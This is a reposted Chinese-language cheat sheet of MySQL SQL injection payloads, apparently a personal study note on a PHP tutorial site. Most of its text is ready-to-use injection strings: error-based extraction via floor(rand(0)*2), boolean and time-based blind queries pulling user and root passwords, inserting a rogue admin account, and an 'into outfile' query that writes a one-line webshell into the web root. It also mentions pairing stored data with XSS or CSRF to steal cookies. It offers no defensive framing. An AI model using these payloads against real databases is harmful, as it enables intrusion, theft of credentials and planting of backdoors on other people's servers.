来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 作者:L.N.时间:2012-07-23博客:lanu.sinaapp.com目录:0x00 mysql一般注入(select)0x01 mysql一般注入(insert、update)0x02 mysql报错注入0x03 mysql一般盲注0x04 mysql时间盲注0x05mysql其他注入技......
作者:L.N. 时间:2012-07-23 博客:lanu.sinaapp.com
目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) 0x02 mysql报错注入 0x03 mysql一般盲注 0x04 mysql时间盲注 0x05 mysql其他注入技巧 0x06 mysql数据库版本特性 0x07 声明
正文:
0x00 mysql一般注入(select)
1.注释符
2.过滤空格注入 %0c = form feed, new page
3.多条数据显示
4.相关函数
5.mysql一般注入语句 猜字段数 order by n/* 判断是否具有读写权限
6.mysql读取写入文件 必备条件: 读:file权限必备 写:1.绝对路径 2.union使用 3. 可以使用'' -------------------------读---------------------- mysql3.x读取方法 mysql4.x读取方法 mysql5.x读取方法 读取文件技巧: ------------写-------------------------- into outfile写文件 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
0x01 mysql一般注入(insert、update)
mysql一般请求mysql_query不支持多语句执行,mysqli可以。
insert注入多使用报错注入! 1.如果可以直接插入管理员可以直接使用! insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* '); 2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell
update注入同上
0x02 mysql报错注入
1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)-- 3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql一般盲注
使用ascii AND ascii(substring((SELECT password FROM users where id=1),1,1))=49 使用正则表达式 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
0x04 mysql时间盲注
UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’
0x05 mysql其他注入技巧
以后遇见了更新
0x06 mysql数据库版本特性
1. mysql5.0以后 information.schema库出现 2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下 3.mysql5.x以后 system执行命令
0x07 声明
如有错误,希望指正 如果遗漏,希望讨论 小菜总结,大牛勿吐 记录笔记,时常复习 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com